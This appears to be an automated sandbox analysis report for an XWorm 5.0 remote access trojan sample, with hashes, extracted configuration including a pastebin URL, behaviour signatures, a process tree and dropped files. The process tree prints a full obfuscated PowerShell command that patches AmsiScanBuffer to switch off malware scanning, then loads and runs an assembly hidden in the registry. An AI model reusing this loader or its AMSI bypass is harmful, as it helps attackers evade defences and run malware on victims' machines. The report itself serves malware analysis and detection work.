Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2024, 03:24

General

  • Target

    DeadPayload.exe

  • Size

    500KB

  • MD5

    32a460b41d3309d8fd5512dce58357d9

  • SHA1

    b83e6686de15c57184ae8b8be80d0b5b323f3712

  • SHA256

    0287c741bae11fcfebf9f7d81b1f663379f531855ef381faecdc006ef689c25c

  • SHA512

    dc8e37a4aa54519b7578247b9a95b70a446667c15f799ba30dcf14a49858ed2dfa79287476532f62d7e6c44de372dd9035e5d881794c7266dab31c6955fd15e4

  • SSDEEP

    12288:f3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd7:3kGTy

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

bbz3FQzIYGOJF400

Attributes
  • Install_directory

    %Public%

  • install_file

    ohh.exe

  • pastebin_url

    https://pastebin.com/raw/J09JweeH

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 13 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 21 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:336
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{8aaf4047-bb1b-4b69-bc28-6e17088b65ea}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4516
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:660
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:956
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:388
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:868
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:1132
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:2972
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:otwwaqSfaWWq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vdEQByLqnVzfTt,[Parameter(Position=1)][Type]$dfqsgNfdtz)$qafNQtIeUnU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+'le'+'c'+''+'t'+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+''+'m'+''+'o'+'ry'+[Char](77)+'o'+[Char](100)+'u'+'l'+''+'e'+'',$False).DefineType('My'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+''+'C'+''+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$qafNQtIeUnU.DefineConstructor('R'+[Char](84)+''+[Char](83)+'p'+[Char](101)+'c'+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+'i'+'deBy'+'S'+'i'+[Char](103)+''+','+''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$vdEQByLqnVzfTt).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$qafNQtIeUnU.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+'k'+''+'e'+'','P'+'u'+''+[Char](98)+'lic'+','+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+'ig'+','+''+[Char](78)+''+'e'+'w'+'S'+''+'l'+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+''+'u'+'a'+[Char](108)+'',$dfqsgNfdtz,$vdEQByLqnVzfTt).SetImplementationFlags('Run'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+'M'+''+[Char](97)+'n'+'a'+''+'g'+''+[Char](101)+'d');Write-Output $qafNQtIeUnU.CreateType();}$ufjwdgqafHWgo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+'i'+''+[Char](110)+'32'+[Char](46)+''+'U'+''+'n'+'s'+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+'s');$CNApbfXlZVhnjA=$ufjwdgqafHWgo.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'P'+''+'r'+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+'a'+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$DpTGPjQrYAppFJESsJq=otwwaqSfaWWq @([String])([IntPtr]);$AkQHIMehTPzsiXkQwGlheU=otwwaqSfaWWq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kKQcVZATEmM=$ufjwdgqafHWgo.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+'o'+[Char](100)+'u'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+'n'+[Char](101)+'l'+[Char](51)+''+[Char](50)+'.d'+'l'+'l')));$QKLKISdVriDWZe=$CNApbfXlZVhnjA.Invoke($Null,@([Object]$kKQcVZATEmM,[Object](''+'L'+''+[Char](111)+''+'a'+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$fzzeJbSMVRYCdCVNa=$CNApbfXlZVhnjA.Invoke($Null,@([Object]$kKQcVZATEmM,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+'l'+[Char](80)+''+'r'+'o'+[Char](116)+''+[Char](101)+'c'+'t'+'')));$DEHvUUE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QKLKISdVriDWZe,$DpTGPjQrYAppFJESsJq).Invoke(''+[Char](97)+''+[Char](109)+'si'+[Char](46)+''+[Char](100)+'ll');$qExyPVSERJvSzRrjS=$CNApbfXlZVhnjA.Invoke($Null,@([Object]$DEHvUUE,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+''+'S'+''+'c'+''+[Char](97)+''+'n'+'B'+'u'+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$aRfNlsdoMB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fzzeJbSMVRYCdCVNa,$AkQHIMehTPzsiXkQwGlheU).Invoke($qExyPVSERJvSzRrjS,[uint32]8,4,[ref]$aRfNlsdoMB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qExyPVSERJvSzRrjS,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fzzeJbSMVRYCdCVNa,$AkQHIMehTPzsiXkQwGlheU).Invoke($qExyPVSERJvSzRrjS,[uint32]8,0x20,[ref]$aRfNlsdoMB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('D'+[Char](101)+'ad'+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                    2⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Command and Scripting Interpreter: PowerShell
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:2704
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                  1⤵
                    PID:1140
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1148
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1236
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                        1⤵
                          PID:1272
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1288
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1376
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                              1⤵
                                PID:1384
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1468
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:2656
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1552
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1572
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1668
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1704
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1736
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1812
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                1⤵
                                                  PID:1820
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1892
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1900
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:1932
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                        1⤵
                                                          PID:1976
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:1844
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2140
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                              1⤵
                                                                PID:2184
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                1⤵
                                                                  PID:2268
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2456
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                    1⤵
                                                                      PID:2464
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2732
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                        1⤵
                                                                        • Drops file in System32 directory
                                                                        • Modifies data under HKEY_USERS
                                                                        PID:2744
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2752
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2760
                                                                          • C:\Windows\sysmon.exe
                                                                            C:\Windows\sysmon.exe
                                                                            1⤵
                                                                              PID:2780
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                              1⤵
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2812
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:3056
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                1⤵
                                                                                  PID:2168
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                  1⤵
                                                                                    PID:3312
                                                                                  • C:\Windows\Explorer.EXE
                                                                                    C:\Windows\Explorer.EXE
                                                                                    1⤵
                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                    • Modifies visiblity of hidden/system files in Explorer
                                                                                    • Modifies Internet Explorer settings
                                                                                    • Modifies registry class
                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:3476
                                                                                    • C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe"
                                                                                      2⤵
                                                                                      • Checks computer location settings
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3304
                                                                                      • C:\Users\Public\DeadMan.exe
                                                                                        "C:\Users\Public\DeadMan.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:4196
                                                                                      • C:\Users\Public\DeadRoot.exe
                                                                                        "C:\Users\Public\DeadRoot.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1072
                                                                                    • C:\Windows\system32\taskmgr.exe
                                                                                      "C:\Windows\system32\taskmgr.exe" /4
                                                                                      2⤵
                                                                                      • Checks SCSI registry key(s)
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SendNotifyMessage
                                                                                      PID:3888
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3612
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                      1⤵
                                                                                        PID:3784
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of UnmapMainImage
                                                                                        PID:3976
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                        • Suspicious use of UnmapMainImage
                                                                                        PID:3880
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                        1⤵
                                                                                        • Modifies data under HKEY_USERS
                                                                                        PID:4328
                                                                                      • C:\Windows\System32\svchost.exe
                                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                        1⤵
                                                                                          PID:1048
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                          1⤵
                                                                                            PID:968
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                            1⤵
                                                                                              PID:4524
                                                                                            • C:\Windows\system32\SppExtComObj.exe
                                                                                              C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                              1⤵
                                                                                                PID:444
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                1⤵
                                                                                                  PID:1952
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:4244
                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                  1⤵
                                                                                                    PID:3088
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                    1⤵
                                                                                                      PID:3540
                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:4128
                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:1920
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:4388
                                                                                                          • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                            C:\Windows\System32\WaaSMedicAgent.exe d4a658f69fcb7bf8fd294eef9821146d H+nzexU0sEWqjYHChMXgfA.0.1.0.0.0
                                                                                                            1⤵
                                                                                                            • Sets service image path in registry
                                                                                                            PID:2928
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              2⤵
                                                                                                                PID:2800
                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                              1⤵
                                                                                                                PID:3344
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                1⤵
                                                                                                                  PID:952
                                                                                                                • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                  • Checks BIOS information in registry
                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                  • Enumerates system info in registry
                                                                                                                  PID:4712
                                                                                                                • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  1⤵
                                                                                                                    PID:4876
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                    1⤵
                                                                                                                      PID:2416
                                                                                                                    • C:\Windows\System32\mousocoreworker.exe
                                                                                                                      C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                      • Checks processor information in registry
                                                                                                                      • Enumerates system info in registry
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:3348
                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                      1⤵
                                                                                                                        PID:4292
                                                                                                                      • C:\Windows\System32\rundll32.exe
                                                                                                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:1592
                                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                          1⤵
                                                                                                                            PID:4692
                                                                                                                          • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                            C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:60
                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                              1⤵
                                                                                                                                PID:3160
                                                                                                                              • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                                                1⤵
                                                                                                                                  PID:400
                                                                                                                                • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                  1⤵
                                                                                                                                    PID:2124
                                                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                    1⤵
                                                                                                                                    • Modifies registry class
                                                                                                                                    PID:4828
                                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                    1⤵
                                                                                                                                      PID:1504
                                                                                                                                    • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                                      "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                                      1⤵
                                                                                                                                        PID:824
                                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                        1⤵
                                                                                                                                          PID:4880

                                                                                                                                        Network

                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                              Replay Monitor

                                                                                                                                              Loading Replay Monitor...

                                                                                                                                              Downloads

                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                                Filesize

                                                                                                                                                330B

                                                                                                                                                MD5

                                                                                                                                                54de3d4d95afe1c190ef7e1a035fe2aa

                                                                                                                                                SHA1

                                                                                                                                                bfe60b98683731baa13bf589650ad44a8ee3662c

                                                                                                                                                SHA256

                                                                                                                                                35b6bfcd6923e53e7fc8a1a09c1ccb080c4be71b1a1ca4c33ff0622dc3e09ff8

                                                                                                                                                SHA512

                                                                                                                                                acb8e38ef4ea10b46310eceded026d6bfd4cca9b0963878ed391a4ed119f3c3ef14123f30a994962b2ec6e5fc081c27ba0484331640e21d631996803f872515b

                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                                Filesize

                                                                                                                                                330B

                                                                                                                                                MD5

                                                                                                                                                4d5535d4724bb4fb2bb9fccfa5baffa4

                                                                                                                                                SHA1

                                                                                                                                                18530ea64289552622641960264dd7e75a3d9d4c

                                                                                                                                                SHA256

                                                                                                                                                ce5b339e885ee2e33750f32460440ec04dbebd0424a5b8905f91a050dbfd2e55

                                                                                                                                                SHA512

                                                                                                                                                0d4bd7eb67c980a8e5a7d288a927505fd0a4b9194ac0d3fc2752266ebd66a0b58660eefd758c77d5e8898fe73755e92b302207a8ed7f9a47d100ab0f21d13c6d

                                                                                                                                              • C:\Users\Public\DeadMan.exe

                                                                                                                                                Filesize

                                                                                                                                                34KB

                                                                                                                                                MD5

                                                                                                                                                de5bb947d72f5167c12b02f85cb0ef32

                                                                                                                                                SHA1

                                                                                                                                                cb5b5b754e196ec3072816cb6e250d7dd703752b

                                                                                                                                                SHA256

                                                                                                                                                66f4ceed7b605df523601dc9a35ccf271be390f4c1d12772c6a047ea970081cd

                                                                                                                                                SHA512

